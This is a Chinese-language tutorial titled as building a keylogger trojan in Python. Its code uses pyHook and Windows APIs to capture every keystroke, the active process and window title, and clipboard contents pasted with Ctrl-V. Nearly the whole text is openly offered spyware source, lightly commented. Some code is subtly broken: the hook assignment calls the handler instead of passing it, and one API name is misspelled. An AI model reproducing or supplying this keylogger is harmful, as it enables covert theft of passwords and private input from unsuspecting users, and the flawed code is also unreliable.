python实现键盘记录木马

pyHook

第三方库，用于捕捉特定的Windows事件，封装了所有底层调用，我们
只需要关注程序逻辑。

更多内容及使用方法请自行查找
下载链接：http://sourceforge.net/projects/pyhook/

---

主干逻辑图

当程序运行后，每当用户在键盘按下一个键，就会触发钩子函数，调用 键盘记录函数 记录按键内容，该函数又会调用 进程切换函数 来应对焦点窗口切换的情况并打印出相应的进程名称。

---

代码及注释

引用及定义部分

# !/usr/bin/env python
#  -*- coding: utf-8 -*-
__author__ = 'xy'

from ctypes import *
import pythoncom
import pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

进程切换函数

def get_current_process():
    # 获得窗口句柄
    hwnd = user32.GetForegroundWindow()

    # 获得进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessID(hwnd, byref(pid))

    # 保存当前进程ID
    process_id = "%d" % pid.value

    # 申请内存
    executable = create_string_buffer("\x00" * 512)

    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

    psapi.GetModuleBaseName(h_process, None, byref(executable), 512)

    # 读取窗口标题
    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title), 512)

    # 输出
    print "\n [ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)

    # 关闭句柄
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)

键盘记录函数

def KeyStroke(event):

    global current_window

    # 检查目标是否切换窗口
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()

    # 检测按键是否为常规键
    if event.Ascii > 32 and event.Ascii < 127:
        print chr(event.Ascii),

    else:
        # 如果输入为ctrl-v 则获取剪贴板内容
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()

            print "[PASTE] - %s" % (pasted_value),

        else:
            print "[%s]" % event.Key,

    return True

主函数

# 创建和注册钩子函数管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke()

# 注册键盘记录的钩子并永久执行
kl.HookKeyboard()
pythoncom.PumpMessages()